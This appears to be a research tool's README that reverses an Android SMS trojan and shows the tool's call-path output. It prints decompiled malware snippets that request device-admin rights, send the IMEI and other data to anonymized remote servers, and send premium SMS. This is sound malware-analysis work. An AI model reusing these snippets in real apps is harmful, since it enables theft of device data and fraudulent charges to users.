GPFinder

GPFinder is a tool that helps to obtain execution paths towards suspicious code inside APK files (Android applications).

Source code

The source code will be released once our paper on GPFinder is published.

Malware Example

We have reversed and analyzed the malware with the hash SH256: "45d21e32698d1536a73e42c1e5131c29ca94b9d9d1bd5c744bd74ffc2af6853e". It is a malware that sends sensitive information to remote servers, receives and executes commands, and sends premium SMSs.

Code Reverse

This is the list of permissions this malware sample asks for:

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_DOWNLOAD_MANAGER"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>

The malware registers a main Activity called ClientActivity, which asks for Admin rights and send the IEMI of the phone to a remote server:

try
    {
      Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
      localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.componentName);
      localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "");
      startActivityForResult(localIntent, 20);
      return;
    }
...
try
    {
      sleep(500L);
      String str = ((TelephonyManager)this.this$0.mContext.getSystemService("phone")).getDeviceId();
      Intent localIntent = new Intent();
      localIntent.setAction("android.intent.action.VIEW");
      localIntent.setData(Uri.parse("http://########/info/?iemi=" + str));
      this.this$0.startActivity(localIntent);
      return;
    }

The malware also sends other sensitive information through an AsyncTask class (we have intentionally anonymized the website addresses):

String str2 = ((TelephonyManager)this.context.getSystemService("phone")).getDeviceId();
ArrayList localArrayList = new ArrayList();
localArrayList.add(new BasicNameValuePair("imei", str2));
localArrayList.add(new BasicNameValuePair("count", Integer.toString(i)));
localArrayList.add(new BasicNameValuePair("notebook", "条 数:" + i + "\r\n" + str1));
App.log(HttpSend.postData("http://up.#####.com/MailTask.php", localArrayList));

It also sends premium SMSs:

if (this.msgimei.length() > 70)
{
  Iterator localIterator = localSmsManager.divideMessage(this.msgimei).iterator();
  while (localIterator.hasNext())
  {
    String str = (String)localIterator.next();
    if ((str != null) || (!str.equals(""))) {
      sendMsg(localSmsManager, this.phoneNumber, str);
    }
  }
}
...
public void sendMsg(SmsManager paramSmsManager, String paramString1, String paramString2)
{
  App.log("--sendMsg:--" + paramString1 + "," + paramString2);
  paramSmsManager.sendTextMessage(paramString1, null, paramString2, null, null);
}
Analysis Output with GPFinder

The output format of GPFinder is:

... <Some general information>
Suspicious method(s): 7 - {'telephony': 3, 'network': 5, 'sms': 4}
// This means there are N suspicious method in the application, 3 of them contain suspicious code of type 'telephony' ...
// Note that a suspicious method can contain suspicious code of different categories.
...
Implicit edges:
+ { <calling_method_1> @ <calling_method_2>} -> <registration_method> -> <callback_method>
// A registration method (a framework method) can be called from different methods in the app.
...
Rules:
* usage_number#<registration_method>#<callback_method>#position
// usage_number: the number of times this implicit call type has been used in the app.
...
Path: 3 branch(es) ['BRANCHN1', 'BRANCHN2', 'BRANCHN3'] - type(s) {'network': 1, 'telephony': 2}
- entry_point_method
- method_2
...
- suspicious_method
// The entry point can be the suspicious method, so the path is this case will contain only one method signature.
...
END_STATIC took 9.34567 sec
// The analysis time

This is the analysis output of the malware sample reversed previously:

Apk: 45d21e32698d1536a73e42c1e5131c29ca94b9d9d1bd5c744bd74ffc2af6853e.apk
Date: 2017-02-24 14:39:05.189
Size: 50112
Suspicious: true
Suspicious method(s): 13 - {'sms': 11, 'network': 92, 'telephony': 24}
Implicit edges:
+ 1 { <com.duoji.app.mian.Device: void onReceive(android.content.Context,android.content.Intent)> } -> <android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)> -> <com.duoji.app.mian.Device: void onEnabled(android.content.Context,android.content.Intent)>
+ 0 { <com.duoji.app.mian.Device: void onReceive(android.content.Context,android.content.Intent)> } -> <android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)> -> <com.duoji.app.mian.Device: void onDisabled(android.content.Context,android.content.Intent)>
+ 11 { <com.duoji.app.mian.CrashHandler: void init(android.content.Context)> } -> <java.lang.Thread: void setDefaultUncaughtExceptionHandler(com.duoji.app.mian.CrashHandler)> -> <com.duoji.app.mian.CrashHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable)>
+ 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.HttpSend: java.lang.Object doInBackground(java.lang.Object[])>
+ 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[])>
+ 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])>
+ 9 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onPostExecute(java.lang.Object)>
+ 10 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onProgressUpdate(java.lang.Object[])>
+ 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[])>
+ 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])>
+ 12 { <com.duoji.app.mian.ClientActivity: void Openurl()> } -> <com.duoji.app.mian.ClientActivity$1: void start()> -> <com.duoji.app.mian.ClientActivity$1: void run()>
+ 8 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])>
+ 9 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onPostExecute(java.lang.Object)>
+ 10 { <com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)> @ <com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)> @ <com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)> } -> <android.os.AsyncTask: void <init>()> -> <com.duoji.app.mian.SendMessageasync: void onProgressUpdate(java.lang.Object[])>
Rules:
* 0/1#<android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)>#<android.app.admin.DeviceAdminReceiver: void onDisabled(android.content.Context,android.content.Intent)>#0
* 1/1#<android.app.admin.DeviceAdminReceiver: void onReceive(android.content.Context,android.content.Intent)>#<android.app.admin.DeviceAdminReceiver: void onEnabled(android.content.Context,android.content.Intent)>#0
* 8/6#<android.os.AsyncTask: void <init>()>#<android.os.AsyncTask: java.lang.Object doInBackground(java.lang.Object[])>#0
* 9/2#<android.os.AsyncTask: void <init>()>#<android.os.AsyncTask: void onPostExecute(java.lang.Object)>#0
* 10/2#<android.os.AsyncTask: void <init>()>#<android.os.AsyncTask: void onProgressUpdate(java.lang.Object[])>#0
* 11/1#<java.lang.Thread: void setDefaultUncaughtExceptionHandler(java.lang.Thread$UncaughtExceptionHandler)>#<java.lang.Thread$UncaughtExceptionHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable)>#1
* 12/1#<java.lang.Thread: void start()>#<java.lang.Runnable: void run()>#0
CFG info: methods: 86, nodes: 1891, edges: 2322
Path: 5 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN116'] - type(s) {'sms': 4, 'network': 9}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)
- com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[])
Path: 5 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN28'] - type(s) {'sms': 4, 'network': 9}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.Shell: void run(java.lang.String)
- com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)
- com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[])
Path: 0 branch(es) - type(s) {'sms': 3, 'network': 9, 'telephony': 2}
Path: 0 branch(es) - type(s) {'sms': 2}
Path: 0 branch(es) [] - type(s) {'sms': 2}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.ClientActivity: void Openurl()
- com.duoji.app.mian.ClientActivity$1: void run()
Path: 1 branch(es) ['BRANCHN127'] - type(s) {'network': 18, 'telephony': 4}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.App: void chkIsFirstRun(android.content.Context)
Path: 1 branch(es) ['BRANCHN108'] - type(s) {'network': 23}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)
- com.duoji.app.mian.HttpSend: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.HttpSend: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 0 branch(es) [] - type(s) {'network': 23}
- com.duoji.app.mian.MyApplication: void onCreate()
- com.duoji.app.mian.CrashHandler: void init(android.content.Context)
- com.duoji.app.mian.CrashHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable)
- com.duoji.app.mian.CrashHandler: void dumpExceptionToSDCard(java.lang.Throwable)
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 1 branch(es) ['BRANCHN55'] - type(s) {'network': 23}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.MailTask: void run(java.lang.String)
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 0 branch(es) [] - type(s) {'network': 23}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.SmsTask: void run(java.lang.String)
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN116', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 23}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)
- com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 1 branch(es) ['BRANCHN127'] - type(s) {'network': 23}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.App: void chkIsFirstRun(android.content.Context)
- com.duoji.app.mian.HttpSend: void <init>(java.lang.String,java.util.List)
- com.duoji.app.mian.HttpSend: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.HttpSend: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN55'] - type(s) {'network': 23}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.Shell: void run(java.lang.String)
- com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.MailTask: void run(java.lang.String)
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN28', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 23}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.Shell: void run(java.lang.String)
- com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)
- com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN31'] - type(s) {'network': 23}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.Shell: void run(java.lang.String)
- com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.SmsTask: void run(java.lang.String)
- com.duoji.app.mian.HttpSend: java.lang.String postData(java.lang.String,java.util.List)
Path: 0 branch(es) [] - type(s) {'network': 9, 'telephony': 4}
- com.duoji.app.mian.MyApplication: void onCreate()
- com.duoji.app.mian.CrashHandler: void init(android.content.Context)
- com.duoji.app.mian.CrashHandler: void uncaughtException(java.lang.Thread,java.lang.Throwable)
- com.duoji.app.mian.CrashHandler: void dumpExceptionToSDCard(java.lang.Throwable)
Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN116', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 9, 'telephony': 2}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,java.lang.String,android.content.Context)
- com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.SendMessageasync: void sendMsg(android.telephony.SmsManager,java.lang.String,java.lang.String)
Path: 7 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN28', 'BRANCHN180', 'BRANCHN182'] - type(s) {'network': 9, 'telephony': 2}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.Shell: void run(java.lang.String)
- com.duoji.app.mian.SendMessageasync: void <init>(java.lang.String,java.lang.String,android.content.Context)
- com.duoji.app.mian.SendMessageasync: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SendMessageasync: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.SendMessageasync: void sendMsg(android.telephony.SmsManager,java.lang.String,java.lang.String)
Path: 0 branch(es) [] - type(s) {'network': 6, 'telephony': 2}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.SmsTask: void run(java.lang.String)
Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN31'] - type(s) {'network': 6, 'telephony': 2}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.Shell: void run(java.lang.String)
- com.duoji.app.mian.SmsTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.SmsTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.SmsTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.SmsTask: void run(java.lang.String)
Path: 0 branch(es) - type(s) {'network': 6, 'telephony': 2}
Path: 0 branch(es) [] - type(s) {'telephony': 4}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.MyReceiver: void <init>()
Path: 1 branch(es) ['BRANCHN55'] - type(s) {'network': 3, 'telephony': 2}
- com.duoji.app.mian.ClientActivity: void onCreate(android.os.Bundle)
- com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.MailTask: void run(java.lang.String)
Path: 6 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113', 'BRANCHN114', 'BRANCHN29', 'BRANCHN55'] - type(s) {'network': 3, 'telephony': 2}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
- com.duoji.app.mian.Shell: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.Shell: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.Shell: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.Shell: void run(java.lang.String)
- com.duoji.app.mian.MailTask: void <init>(java.lang.String,android.content.Context)
- com.duoji.app.mian.MailTask: java.lang.Object doInBackground(java.lang.Object[])
- com.duoji.app.mian.MailTask: java.lang.String doInBackground(java.lang.Integer[])
- com.duoji.app.mian.MailTask: void run(java.lang.String)
Path: 3 branch(es) ['BRANCHN109', 'BRANCHN110', 'BRANCHN113'] - type(s) {'telephony': 2}
- com.duoji.app.mian.MyReceiver: void onReceive(android.content.Context,android.content.Intent)
END_STATIC took 13.658324480056763 sec

About Us